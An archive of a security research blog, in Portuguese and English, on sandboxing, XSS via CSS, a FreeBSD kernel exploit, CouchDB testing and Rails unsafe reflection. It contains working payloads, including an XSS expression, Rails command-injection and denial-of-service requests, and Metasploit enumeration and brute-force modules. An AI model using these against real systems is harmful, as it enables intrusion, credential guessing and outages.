Mostrando postagens com marcador Exploração de Vulnerabilidades. Mostrar todas as postagens
Mostrando postagens com marcador Exploração de Vulnerabilidades. Mostrar todas as postagens

quarta-feira, 13 de maio de 2015

Playing with Sandbox: An analysis of Capsicum


Introduction



In this post we talk a little about sandbox. People that work and study software exploitation know the sandbox concept. This kind of feature when properly implemented on a system makes hard to exploit some kind of vulnerabilities, especially that involving memory corruption. In wikipedia we have a good reference about this:
"In computer security, a sandbox is a security mechanism for separating running programs. It is often used to execute untested code, or untrusted programs from unverified third parties, suppliers, untrusted users and untrusted websites. A sandbox typically provides a tightly controlled set of resources for guest programs to run in, such as scratch space on disk and memory. Network access, the ability to inspect the host system or read from input devices are usually disallowed or heavily restricted."
The sandbox is a security mechanism that separates running processes. Basically we have a process with least privileges (target) and another process with greater privileges (broker). If the process with least privileges need execute some operation that is not allowed, a request is sent to the process with greater privileges that checks whether the operation has permissions to be executed and run with return to target (process with least privilege). Sandbox normally is used to protect the application and can also be used to provide a restricted environment for execute and test some malicious binaries, one example of this is Cuckoo Sandbox that used for malware analysis.

In this post we talk about Capsicum[1], is that a kind of sandbox developed by the University of Cambridge that support several common commands of the system such as tcpdump[2], hastd, dhclient, kdump and sshd as mentioned in the website[3]. The Capsicum is a new kind of sandbox but we have support for use in the FreeBSD and Linux[4]. The first experimental version was made only for FreeBSD[5] and available since version 9.0. This sandbox add two new features to the system, called capability mode and capabilities.

Here we introduced a rapid explanation about two modes. Capability mode is the feature that enable for the developers isolate processes allowing only that some system calls execute some tasks reducing the permissions of the process. Capabilities enables a more refined control over the files and devices. This post has more focus on the capability mode.

terça-feira, 29 de julho de 2014

RIPS Scanner v-0.54 - Local File Include (LFI)

Hi there, 

For those using the RIPS scanner [1] to help the analysis of vulnerabilities on PHP code, pay attention not to leave it running on your network or available to the internet, where anyone can access it. 




In a very brief static code analysis of RIPS we found two "Local File Include" (LFI) vulnerabilities as listed below:

segunda-feira, 28 de outubro de 2013

Cross-Site Scripting usando CSS

Quando estamos executando um projeto de revisão de código, sempre que encontramos algum trecho de código suspeito, investimos um certo tempo para ter a certeza que aquele ponto é ou não uma vulnerabilidade.

Em um destes projetos, nos deparamos com um trecho de código similar ao abaixo:

Arquivo: arquivo_teste.php
---
1 <html>
 2   <head>
 3     <style>
 4          <?php echo strip_tags($_GET['style']); ?>
 5     </style>
 6   </head>
 7   <body>
 8   </body>
 9 </html>
---

Neste caso, a chamada a função strip_tags() não será suficiente para evitar que ataques de Cross-Site Scripting sejam realizados com sucesso. Através de códigos CSS, que não precisam das tags que são removidas pela função strip_tags(), é possível inserir códigos Javascript que serão interpretados por alguns browsers. É o caso do método expression()[1] para o Internet Explorer (IE) e a propriedade CSS -moz-binding para o Gecko, utilizado pelo Firefox. Aqui iremos falar apenas sobre o caso do IE. O método 'expression()' funciona por padrão no IE versão 5 até 7 e 8 ou superior em modo compatibilidade [2].

Com base nisso, utilizei o seguinte payload para chamar o método alert() e imprimir a mensagem 'CODIGO_MALICIOSO_EXECUTADO' no IE versão 10 executado em modo de compatibilidade.

body{
left:expression(alert(String.fromCharCode(0×43,0×4f,0×44,0×49,0×47,0×4f,0×5f,0×4d,0×41,0×4c,0×49,0×43,0×49,0×4f,0×53,
0×4f,0×5f,0×45,0×58,0×45,0×43,0×55,0×54,0×41,0×44,0×4f)));
}



Foi necessário usar o método '.fromCharCode' do objeto 'String' porque no ambiente de teste, a opção magic_quotes do PHP estava habilitada, evitando a inserção do carácter aspas-simples.

Em [3] também há outros exemplos, inclusive a utilização do -moz-binding para execução de códigos Javascript.

[1] - http://msdn.microsoft.com/en-us/library/ms537634.aspx
[2] - http://blogs.msdn.com/b/ie/archive/2008/10/16/ending-expressions.aspx
[3] - https://code.google.com/p/google-caja/wiki/CssAllowsArbitraryCodeExecution

terça-feira, 13 de agosto de 2013

Entendendo e explorando o CVE-2012-4576 para o Kernel do FreeBSD


Introdução


Dando continuidade a exploração de vulnerabilidades em kernel-land [1], neste artigo serão analisados os detalhes da vulnerabilidade registrada no CVE-2012-4576 e como podemos utilizá-la para obter execução de código no kernel do FreeBSD.

Esta vulnerabilidade foi reportada por Mateusz Guzik e o advisory [2] oficial do time de segurança do FreeBSD foi publicado no dia 22 de Novembro de 2012.

A falha ocorre devido a falta de validação em uma chamada de sistema. Como resultado, regiões de memória podem ser sobrescritas. A vulnerabilidade existe no módulo que adiciona a compatibilidade de execução de arquivos binários nativos do Linux no FreeBSD, então apenas sistemas que usam este recurso podem estar vulneráveis.

Todos os experimentos neste artigo foram realizados no sistema operacional FreeBSD 7.0, 8.2 e 9.0 arquitetura 32 bits (i386).

A vulnerabilidade


De acordo com o patch [3] disponibilizado pelo time de segurança oficial do FreeBSD, percebe-se que o código vulnerável se encontra no arquivo “sys/compat/linux/linux_ioctl.c” na função “linux_ifconf()”.

Arquivo: /usr/src/sys/compat/linux/linux_ioctl.c
---
2134  /*
2135   * Implement the SIOCGIFCONF ioctl
2136   */
2137 
2138  static int
2139  linux_ifconf(struct thread *td, struct ifconf *uifc)
2140  {
2141  #ifdef COMPAT_LINUX32
2142  struct l_ifconf ifc;
2143  #else
2144          struct ifconf ifc;
2145  #endif
...
2149          struct sbuf *sb;
...
2152          error = copyin(uifc, &ifc, sizeof(ifc));
2153          if (error != 0)
2154                  return (error);
...
2236         ifc.ifc_len = valid_len;
2237         sbuf_finish(sb);
2238         memcpy(PTRIN(ifc.ifc_buf), sbuf_data(sb), ifc.ifc_len);
2239         error = copyout(&ifc, uifc, sizeof(ifc));
2240         sbuf_delete(sb);
2241         CURVNET_RESTORE();
2242 
2243         return (error);
2244  }
---
Na linha 2139 vemos que a função recebe dois argumentos, sendo o primeiro o endereço para uma estrutura do tipo “thread” e o segundo o endereço para uma estrutura “ifconf”. Por acreditar ser desnecessário, o trecho de código que faz a chamada a função “linux_ifconf()” foi omitido, mas a única informação relevante para o correto entendimento desse artigo é que o segundo argumento passado é o endereço de memória que foi utilizado como argumento na chamada ioctl, portanto, o conteúdo da variável “uifc” é controlado pelo usuário. Exemplo da utilização da ioctl SIOCGIFCONF pode ser vista em [4].

Como podemos ver na linha 2152, o conteúdo da variável “uifc” é copiado para a variável “ifc” utilizando a função “copyin()” [5], a partir deste ponto a estrutura “ifc” também será controlada pelo usuário. Para quem não conhece, as funções “copyin()” e “copyout()” [6] são utilizadas para transferir dados do espaço de endereçamento do usuário para o kernel e vice-versa. Após isso, na linha 2238, o valor controlado pelo usuário é utilizado como primeiro argumento na chamada a função “memcpy()” [7]. Um detalhe relevante é que ao realizar a chamada ioctl podemos informar a quantidade de bytes que o endereço que passamos comporta, desta forma a função “linux_ifconf()” poderá calcular se irá ocorrer overflow ou não ao copiar os dados, durante esse cálculo o valor “ifc.ifc_len” é alterado e não é totalmente controlado pelo usuário.

O valor retornado pela chamada a função “sbuf_data(sb)” na linha 2238 são as configurações das interfaces disponíveis na máquina.

Exploração


Como mencionado anteriormente, o módulo que adiciona compatibilidade binária Linux ao FreeBSD, falha em validar um endereço passado como argumento na chamada a ioctl SIOCGIFCONF, permitindo que seja passado qualquer endereço de memória que terá seu conteúdo sobrescrito pelas configurações das interfaces da máquina. Para quem já tem alguma experiência com exploração de vulnerabilidades, inclusive no kernel, sabe que este tipo de falha em determinadas situações pode ser facilmente exploradas, em [8] você encontrará uma vulnerabilidade similar no kernel do linux encontrada pelo pesquisador Dan Rosenberg.

Existem estruturas importantes para o correto funcionamento do kernel que podem ser utilizadas como alvo e ter seus valores sobrescritos, o que permite redirecionar o fluxo de execução do kernel para um desejável por um atacante. Para realizar a exploração dessa vulnerabilidade foi selecionada a entrada número 3 da Interrupt Descriptor Table (IDT) [9] para ser sobrescrita pelos 16 bits mais significativos do nome da interface retornada. Os valores da entrada da IDT que serão sobrescritos são apenas os bits mais significativos do endereço de uma função. Como podem haver vários nomes para interfaces (“em”, “eth”, “lo”, “usbus”, etc), o exploit que foi escrito para essa vulnerabilidade obtêm esse valor em tempo de execução e ajusta o exploit de acordo com o nome da interface do ambiente. Este comportamento que permitiu o exploit funcionar tanto na versão 8 quanto na versão 9 do FreeBSD onde no mais recente a chamada a ioctl retorna “usbus0” e na versão 8 retorna “eth0”.

O endereço da função que irá gerenciar determinada interrupção fica dividido pela metade na IDT, os bits menos significativos armazenados no começo da entrada e os mais significativos no final da entrada, sendo que cada entrada tem o tamanho de 8 bytes. Assim, como falado anteriormente, somente os bits mais significativos serão sobrescritos, desta forma o novo endereço da função terá os bits mais significativos (os dois primeiros bytes) retornados pelo nome da interface e os bits menos significativos continuarão com os valores da função original. Antes de sobrescrever, será necessário mapear o novo endereço gerado e inserir o código que deseja ser executado quando uma nova interrupção da entrada sobrescrita for gerada, no caso do exploit escrito, essa interrupção é gerada usando a instrução chamada int3.

Partindo da premissa que os nomes das interfaces sejam caracteres ascii, não precisamos checar se o endereço gerado após a sobrescrita está dentro dos limites do espaço de endereçamento do usuário. Considerando que o nome da interface seja composto por letra e números, o maior valor em ascii é o caracter ‘z’ que tem o valor ‘7f’ em hexadecimal. Então considerando que a interface retornada seja ‘zz0’ e o endereço original da função na IDT seja 0xc0d33d08, após a sobrescrita o endereço será ‘0x7f7f3d08’, limite dentro do espaço de endereçamento do usuário.

Neste ponto já é possível obter execução de código, o próximo passo agora é reparar o estrago que foi feito na IDT com as outras informações da interface. Como as informações de cada interface são armazenadas em uma estrutura chamada “ifreq” e seu tamanho é 32 bytes, esse é o tamanho mínimo que conseguimos sobrescrever da IDT. Quanto menos valores conseguirmos sobrescrever, menor o estrago a ser reparado. No exploit liberado anteriormente não utilizava esse recurso e sobrescrevia muito mais que 32 bytes da IDT no caso do FreeBSD 8. Depois de consertar a IDT única coisa que resta é elevar os privilégios e retornar para userland, no exploit utilizamos a técnica “iret” [10] para esse propósito.

Através do método explicado acima foi possível escrever um exploit que funcionasse tanto na versão 7, 8 e 9 do FreeBSD sem precisar usar endereços fixos no código para cada versão. Não foi realizado nenhum teste em outras versões, mas é possível que o exploit também funcione normalmente desde que seja versão i386 do sistema operacional.

Outro fator importante é que, teoricamente, sobrescrever a IDT não é uma boa escolha devido ao motivo que o processo pode ser interrompido pelo scheduler logo após a sobrescrita e o novo processo acionar a interrupção da entrada sobrescrita ao invés do processo do exploit. Como o endereço que foi sobrescrito não é mapeado no novo processo, possivelmente um kernel panic irá ocorrer. Apesar disto, o exploit disponibilizado aqui foi executado e em nenhum momento aconteceu algo inesperado.

Conclusão


A correção feita pela equipe de segurança foi substituir a função “memcpy()” pela função “copyout()". Esta função automaticamente valida se os endereços passados como argumento pertencem ao seus devidos espaço de memória, evitando que seja feito a cópia de dados kernel <-> kernel e/ou user-land <-> user-land.

O exploit está disponível em [11], para utilizá-lo é necessário que seja compilado em um ambiente Linux e com a biblioteca structs.h [12] no mesmo diretório onde encontra-se o arquivo CVE-2012-4576-linux.c, após isso o binário gerado pode ser executado normalmente em uma versão vulnerável do FreeBSD. Não é necessário especificar nenhum parâmetro adicional ao compilador mas se o ambiente Linux estiver faltando alguma biblioteca necessária, recomenda-se utilizar a flag “-static” para o gcc. O ambiente Linux utilizado foi Ubuntu versão 12.04 instalado em uma máquina virtual VMWARE.

O vídeo abaixo demonstra a exploração da falha nos sistemas FreeBSD 7, 8.2 e 9.

Referências


[1] - http://blog.conviso.com.br/2012/12/uma-analise-do-cve-2012-0217.html
[2] - http://www.freebsd.org/security/advisories/FreeBSD-SA-12:08.linux.asc
[3] - http://security.FreeBSD.org/patches/SA-12:08/linux.patch
[4] - http://www.techpulp.com/blog/2008/10/get-list-of-interfaces-using-siocgifconf-ioctl/
[5] - http://www.unix.com/man-page/FreeBSD/9/copyin/
[6] - http://www.unix.com/man-page/FreeBSD/9/copyout/
[7] - http://linux.die.net/man/3/memcpy
[8] - http://www.vsecurity.com/download/tools/linux-rds-exploit.c
[9] - https://en.wikipedia.org/wiki/Interrupt_descriptor_table
[10] - https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-cesare.pdf
[11] - https://github.com/andersonc0d3/exploits/blob/master/CVE-2012-4576-linux/CVE-2012-4576-linux.c
[12] - https://github.com/andersonc0d3/exploits/blob/master/exploits/CVE-2012-4576-linux/structs.h

sexta-feira, 26 de abril de 2013

CouchDB - For Fun and Profit

O que é CouchDB?

CouchDB[1] é um de banco de dados orientado a documentos, uma implementação de NoSQL que pode ser acessado através de sua API JavaScript Object Notation (JSON)[2] RESTful. O projeto, atualmente é desenvolvido na plataforma Erlang OTP[3] devido à sua ênfase em tolerância a falhas.

Uma lista de empresas que utilizam o CouchDB para o desenvolvimento de softwares pelo mundo, pode ser visualizada no site do desenvolvedor[4].


Características.

Cada documento tem sua identificação única no banco de dados, e o CouchDB oferece uma RESTfull HTTP API para ler e atualizar (adicionar, atualizar, editar, excluir) os documentos do banco de dados.

Sua porta de utilização é a 5984 sob o protocolo TCP. O daemon responsável por sua execução é o "beam", que faz parte do Erlang OTP. Conforme figura abaixo.




Por padrão, CouchDB instala todos seus recursos (exemplo: apt-get install couchdb) sem exigir o cadastro de senha para se autenticar em funções vitais do software, fazendo com que os administradores/desenvolvedores assumam essa tarefa.

O CouchDB disponibiliza suas respostas em clear-text, possibilitando ataques do tipo Man-in-The-Middle[5], conseguindo facilmente furtar dados importantes que estão trafegando entre o servidor e o cliente, um exemplo clássico, seria capturar o usuário e senha para se autenticar posteriormente, já que a aplicação utiliza sistema básico de autenticação (Basic Authentication), visualizar os nomes das databases, usuários etc.


Acessando os recursos do CouchDB com o cURL.

Com o utilitário de linha de comando cURL, podemos realizar basicamente as 4 funções principais para manusear documentos e views no CouchDB. Vejamos alguns exemplos:

1 - Para listar os databases existentes.
# curl -X GET http://192.168.0.64:5984/_all_dbs
2 - Criar um novo database.
# curl -X PUT http://192.168.0.64:5984/new_db
3 - Criando um documento de design.
# curl -X PUT http://192.168.0.64:5984/new_db/_design/app --data-binary @design.json
4 - Adicionando um documento vazio para poder visualizar o "design document" que acabamos de criar.
curl -X POST http://192.168.0.64:5984/new_db -d '{}' -H "Content-Type:application/json"
5 - Para visualizar.
curl http://192.168.0.64:5984/new_db/_design/app/_view/foo
6 - Criando um usuário chamado zezinho.
# curl -X PUT http://192.168.0.64:5984/_users/org.couchdb.user:zezinho -d '{"name":"zezinho", "password":"S3nhaS3cr3t4", "roles":[], "type":"user"}'
7 - Listando usuários.
# curl http://192.168.0.64:5984/_users/_all_docs
8 - Excluindo um database.
# curl -X DELETE http://192.168.0.64:5984/new_db


Criando um script para o Metasploit

Para facilitar o trabalho durante os testes de intrusão, desenvolvi um script para o metasploit, onde você conseguirá realizar todas as ações possibilitando a automação da análise. Seu uso é simples, basta definir o endereço do host remoto (RHOST), o método (GET, PUT, POST ou DELETE) e sua ação (TARGETURI). Em seu padrão, o módulo vem configurado para enumerar as databases existentes no servidor a ser testado, bastando apenas, definir o host remoto (RHOST), confirmar se a aplicação roda na porta padrão (5984) e executar o comando "run".

Script couchdb_enum.rb
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CouchDB Enum Utility',
            'Description'    => %q{
                Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
            },
            'Author'         => [ 'espreto <robertoespreto[at]gmail.com>' ],
            'License'        => MSF_LICENSE
            ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
                OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
                OptString.new('USERNAME', [false, 'The username to login as']),
                OptString.new('PASSWORD', [false, 'The password to login with'])
            ], self.class)
        end

    def run
        username = datastore['USERNAME']
        password = datastore['PASSWORD']

        uri = normalize_uri(datastore['TARGETURI'])
            res = send_request_cgi({
                'uri'      => uri,
                'method'   => datastore['HTTP_METHOD'],
                'authorization' => basic_auth(username, password),
                'headers'  => {
                    'Cookie'   => 'Whatever?'
                }
        })

        temp = JSON.parse(res.body)
        results = JSON.pretty_generate(temp)

        if res.nil?
            print_error("No response for #{target_host}")
        elsif (res.code == 200)
            print_good("#{target_host}:#{rport} -> #{res.code}")
            print_good("Response Headers:\n\n #{res.headers}")
            print_good("Response Body:\n\n #{results}\n")
        elsif (res.code == 403) # Forbidden
            print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
            print_error("Response from server:\n\n #{results}\n")
        elsif (res.code == 404) # Not Found
            print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
            print_error("Response from server:\n\n #{results}\n")
        else
            print_status("#{res.code}")
            print_status("#{results}")
        end

    rescue ::Exception => e
        print_error("Error: #{e.to_s}")
        return nil
    end
end

Veja um exemplo de saída do script com a opção TARGETURI definida com o valor /_users/_all_docs.



Analisando o CouchDB com autenticação.

Abaixo um novo script para o metasploit, que realiza o brute-force de usuário e senha, baseando-se em uma wordlist. Por padrão, já é especificada uma wordlist presente no metasploit, bastando apenas especificar o endereço remoto do CouchDB (RHOST) e confirmar a porta padrão (5984). Mas nada lhe impede de utilizar uma wordlist especialmente criada por você, basta especificar o path deste arquivo.

Script couchdb_login.rb
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Auxiliary::AuthBrute
    include Msf::Auxiliary::Scanner

    def initialize(info={})
        super(update_info(info,
            'Name'           => 'CouchDB Login Utility',
            'Description'    => %{
                This module attempts brute force to login to a CouchDB.
            },
            'Author'         =>

                [
                    'espreto <robertoespreto[at]gmail.com>'
                ],
            'License'        => MSF_LICENSE
        ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new('URI', [true, "URI for CouchDB. Default here is /_users/_all_docs", "/_users/_all_docs"]),
                OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
                OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
                OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
            ], self.class)
    end

    def run_host(ip)

        user = datastore['USERNAME'].to_s
        pass = datastore['PASSWORD'].to_s

        vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'")


            res = send_request_cgi({
                'uri'    => datastore['URI'],
                'method' => 'GET',
                'authorization' => basic_auth(user, pass)
            })

            return if res.nil?
            return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/)
            return if (res.code == 404)

            if [200, 301, 302].include?(res.code)
                vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
            else
                vprint_error("#{rhost}:#{rport} - Failed login with '#{user}' : '#{pass}'")
                print_status("Brute-forcing... >:-} ")

                each_user_pass do |user, pass|
                    do_login(user, pass)
                end
            end
        rescue ::Rex::ConnectionError
            vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
    end

    def do_login(user, pass)
        vprint_status("Trying username:'#{user}' with password:'#{pass}'")
        begin
            res = send_request_cgi(
            {
                'uri'       => datastore['URI'],
                'method'    => 'GET',

                'ctype'     => 'text/plain',
                'authorization' => basic_auth(user, pass)
            })
            if res and res.code != 200                 vprint_error("Failed login. '#{user}' : '#{pass}' with code #{res.code}")                 return :skip_pass             else                 print_good("Successful login. '#{user}' : '#{pass}'")                 report_hash = {
                    :host   => datastore['RHOST'],                     :port   => datastore['RPORT'],                     :sname  => 'couchdb',                     :user   => user,                     :pass   => pass,                     :active => true,                     :type => 'password'}                 report_auth_info(report_hash)                 return :next_user             end         rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT             print_error("HTTP Connection Failed, Aborting")                 return :abort         end         rescue ::Exception => e             print_error("Error: #{e.to_s}")             return nil     end end


Aumentando a segurança do CouchDB.

Para diminuir os riscos, recomendamos aplicar as seguintes medidas para sua proteção.

Utilizando o futon[6], você pode acessar a url http://IP_DO_COUCHDB:5984/_utils que acessará o gerenciador web do CouchDB.

1 - Criar um usuário administrador no servidor clicando no botão "Fix this!", localizado no canto inferior direito.

2 - Criar um usuário no-admin e atribuí-lo (por nome ou papel) para ser um usuário administrador do banco de dados em específico. Isso pode ser feito através do ícone "Segurança" no topo do gerenciador Futon, quando você está em um banco de dados específico. Ou então criar este non-admin através do HTTP API.

3 - Criar um usuário non-admin no CouchDB e atribuí-los (por nome ou papel) para ser apenas leitor (read) no banco de dados em algum banco de dados específico. Isso pode ser feito através do ícone "Segurança" no topo do gerenciador Futon quando você está em um banco de dados específico. Ou então criar este non-admin através do HTTP API.

4 - Criar um usuário non-admin no CouchDB e criar um documento de design de banco de dados que inclui uma função de validação, especificamente em uma propriedade "validate_doc_update" no documento de design. O valor dessa propriedade é uma função (que você escreve) para verificar um nome de usuário ou regra no argumento userCtx que é passado para a função específica, assim poderia alertar um erro na função se o usuário ou a regra não é quem pode escrever no banco de dados.

5 - Como medida adicional de proteção, o CouchDB disponibiliza a autenticação via Cookie, bastando enviar uma requisição para a API com o usuário e senha já presentes no mesmo. Por padrão, cada token tem sua a duração de 10 minutos.

Estas e outras dicas importantes podem ser visualizadas no CouchDB Security[7], disponível no próprio site do desenvolvedor.


Parte 2 do Post:

CouchDB - For Fun and Profit

Ataques SSRF? Execução remota de comandos? Tudo via CouchDB?
Essas e outras perguntas interessantes serão respondidas no próximo post. =)


Não deixem de assinar a newsletter da Conviso[8] para receber as atualizações de novos posts e notícias.

By @espreto

Referências:

[1] http://couchdb.apache.org/
[2] http://www.json.org/
[3] http://www.erlang.org/
[4] http://wiki.apache.org/couchdb/CouchDB_in_the_wild
[5] http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[6] http://wiki.apache.org/couchdb/Getting_started_with_Futon
[7] http://wiki.apache.org/couchdb/Security_Features_Overview
[8] https://www.conviso.com.br/


Leituras adicionais:

http://en.wikipedia.org/wiki/REST
http://en.wikipedia.org/wiki/Create,_read,_update_and_delete

segunda-feira, 18 de fevereiro de 2013

Exploiting Unsafe Reflection in Ruby/Rails Applications

There is a class of vulnerabilities known as Unsafe Reflection [1] that has not been much discussed in the Ruby/Rails circle, despite being somewhat related to the recent deserialization vulnerabilities found in Rails. Unsafe Reflection vulnerabilities via constant creation occur in Ruby normally when the Module#const_get method is called with user-controlled data.

The Rails framework expands the number of reflection methods by defining String#constantize, String#safe_constantize and Module#qualified_const_get, all of them prone to Unsafe Reflection given an user-controlled input. These methods take a string and try to find a constant with the name specified, as can be seen in the following example:

Loading development environment (Rails 3.2.12)
irb(main):001:0> "File".constantize
=> File
irb(main):002:0> "Raaa".constantize
NameError: uninitialized constant Raaa
...

This is a dangerous code pattern [2] and very common, as we can see on GitHub [3]. The exploitation of this vulnerability depends on what is done with the returned constants. Generally, the attacker can change the application control flow in ways not intended by the developer to bypass security checks or execute unexpected operations.

A common use for these constants is to call the new and find methods. This observation is valuable to design techniques suitable to exploit these vulnerabilities. A few exploitation techniques for common Unsafe Reflection code patterns are shown below.

Class and module enumeration

It is possible to enumerate classes and modules (and gems) in the target system watching for uncaught exceptions. Example:

class TesteController < ApplicationController
    def index
        klass = params[:class].constantize
        ...
    end

Querying a non-existing module


Started GET "/teste/index?class=Raaaaa" for 127.0.0.1 at 2013-02-10 21:09:01 -0200
Processing by TesteController#index as HTML
  Parameters: {"class"=>"Raaaaa"}
Completed 500 Internal Server Error in 2ms

NameError (uninitialized constant Raaaaa):
  app/controllers/teste_controller.rb:3:in `index'


Querying an existing module


Started GET "/teste/index?class=Devise" for 127.0.0.1 at 2013-02-10 21:14:14 -0200
Processing by TesteController#index as HTML
  Parameters: {"class"=>"Devise"}
  Rendered teste/index.html.erb within layouts/application (1.1ms)
Completed 200 OK in 403ms (Views: 401.8ms | ActiveRecord: 0.0ms)


File and directory enumeration

If the code makes a call to new with an user-controllable parameter, then you can use it to enumerate files and directories in the system. Example:

class TesteController < ApplicationController
    def index
        klass = params[:class].constantize
        obj = klass.new(params[:arg])
        ...
    end


Querying an existing file


Started GET "/teste/index?class=File&arg=/etc/passwd" for 127.0.0.1 at 2013-02-10 21:20:05 -0200
Processing by TesteController#index as HTML
  Parameters: {"class"=>"File", "arg"=>"/etc/passwd"}
  Rendered teste/index.html.erb within layouts/application (0.1ms)
Completed 200 OK in 9ms (Views: 8.6ms | ActiveRecord: 0.0ms)

Querying a non-existing file


Started GET "/teste/index?class=File&arg=raaaaaaaa" for 127.0.0.1 at 2013-02-10 21:20:32 -0200
Processing by TesteController#index as HTML
  Parameters: {"class"=>"File", "arg"=>"raaaaaaaa"}
Completed 500 Internal Server Error in 0ms

Errno::ENOENT (No such file or directory - raaaaaaaa):


Denial of Service

It is possible to cause a Denial of Service attack, for example, by targeting classes which create symbols from user-controlled input or allow calling arbitrary methods. Example:

class TesteController < ApplicationController
    def index
        klass = params[:class].constantize
        obj = klass.new(params[:arg])
        ...
    end


Taking advantage of ActionController::MimeResponds::Collector in Rails 3.2.12. Use "exit!" to shutdown the application server.


Started GET "/teste/index?class=ActionController::MimeResponds::Collector&arg[]=exit" for 127.0.0.1 at 2013-02-10 21:27:01 -0200
Processing by TesteController#index as HTML
  Parameters: {"class"=>"ActionController::MimeResponds::Collector", "arg"=>["exit"]}
Completed 500 Internal Server Error in 1ms
SystemExit (exit):
  app/controllers/teste_controller.rb:4:in `new'
  app/controllers/teste_controller.rb:4:in `index'


Another Example:

class TesteController < ApplicationController
    def index
        klass = params[:class].constantize
        obj = klass.new(params[:arg1], params[:arg2])
        r = obj.somemethod
        ...
    end

Taking advantage of ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy [4] in Rails 3.2.12. Use "exit!" to shutdown the application server.


Started GET "/teste/index?class=ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy&arg1=xxx&arg2=exit" for 127.0.0.1 at 2013-02-10 21:51:01 -0200
Connecting to database specified by database.yml
Processing by TesteController#index as HTML
  Parameters: {"class"=>"ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy", "arg1"=>"xxx", "arg2"=>"exit"}
DEPRECATION WARNING: @exit is deprecated! Call exit.somemethod instead of @exit.somemethod. Args: []. (called from index at /home/user/myapp/app/controllers/teste_controller.rb:5)
Completed 500 Internal Server Error in 1ms

SystemExit (exit):
  app/controllers/teste_controller.rb:5:in `index'


Command Injection

If the code calls the new method, one way to achieve command injection is to instantiate the Logger class. Example:

class TesteController < ApplicationController
    def index
        klass = params[:class].constantize
        obj = klass.new(params[:arg])
        ...
    end


Executing a "date" command

Sun Feb 10 21:33:33 BRST 2013



Started GET "/teste/index?class=Logger&arg=%7cdate" for 127.0.0.1 at 2013-02-10 21:33:32 -0200
Connecting to database specified by database.yml
Processing by TesteController#index as HTML
  Parameters: {"class"=>"Logger", "arg"=>"|date"}
  Rendered teste/index.html.erb within layouts/application (3.8ms)
Completed 200 OK in 344ms (Views: 87.8ms | ActiveRecord: 0.0ms)



A safer way to use these methods is to apply a whitelist check over the string before the call to ensure that an allowed class/module will be constantized.


References

[1] http://cwe.mitre.org/data/definitions/470.html
[2] http://blog.littleimpact.de/index.php/2008/08/13/constantize-with-care/
[3] https://github.com/search?q=params+constantize&type=Code&ref=searchresults
[4] http://webuild.envato.com/blog/rails-3-dot-2-10-exploit-and-slow-read-attacks/

quarta-feira, 2 de janeiro de 2013

Exploração automatizada com Nmap Scripting Engine (NSE)


Introdução


Este artigo visa demonstrar o quão poderosa e flexível é a Engine de script do Nmap. O exemplo utilizado neste artigo é inteiramente didático, apesar de explorar uma falha publicamente conhecida. Nem a Conviso® nem o autor se responsabilizam pelo mau uso do material aqui apresentado.

O principal objetivo desta engine é automatizar uma série de tarefas de rede, através do uso de uma linguagem de domínio especifico, que facilita a elaboração de scripts que realizam atividades relacionadas a teste de segurança em redes. 

segunda-feira, 24 de dezembro de 2012

Uma análise do CVE-2012-0217


Introdução


Em junho desse ano o time de segurança do sistema operacional FreeBSD publicou um alerta de
segurança sobre uma vulnerabilidade descoberta por Rafal Wojtczuk que afeta todas as versões 64 bits.
Essa  vulnerabilidade  não  só  afeta  o  sistema  operacional  FreeBSD  mas  também  vários  sistemas
operacionais  e sistemas de virtualização[1] disponíveis, com exceção do OpenBSD 5.0 e o Linux que
já tinha corrigido a vulnerabilidade desde 2006[3].

Nesse post será explicado a natureza da vulnerabilidade e como ela pode ser utilizada para obter
execução de códigos no kernel. Apesar de já existir exploits públicos para Windows [4] e para FreeBSD[5] [6], um exploit para FreeBSD também será apresentado nesse artigo.

Assume-se que o leitor saiba  como funciona exploração  de vulnerabilidades  em  kernel, sistemas
operacionais e suas estruturas, principalmente IDT[7] e como realizar debugging do kernel.

Os  experimentos  realizados  nesse  artigo  foram  realizados  utilizando  a  versão  9.0  RELEASE  do
FreeBSD.

A vulnerabilidade


Esse artigo tem como foco o padrão 64 bits desenvolvido pela AMD, chamada de AMD64[8] ou x86-
64 que também é utilizado pela Intel.

A CPU tem vários modos de operação, sendo os dois principais: o modo mais privilegiado que é o
modo em que o kernel é executado e chamado de ring0 e o menos privilegiado, chamado de ring3, o
modo em que os programas comum do dia a dia são executados como browsers e editores de texto.
Quando uma aplicação que está sendo executada em ring3 precisa realizar uma operação privilegiada,
um conjunto de operações precisam ser realizadas para mudar o modo de operação para o modo mais
privilegiado.

O padrão AMD64 adicionou um novo conjunto de instruções para realizar a troca de contexto, chamada de fastsyscall[10] e é basicamente composto por duas instruções: 'SYSCALL' e 'SYSRET'.
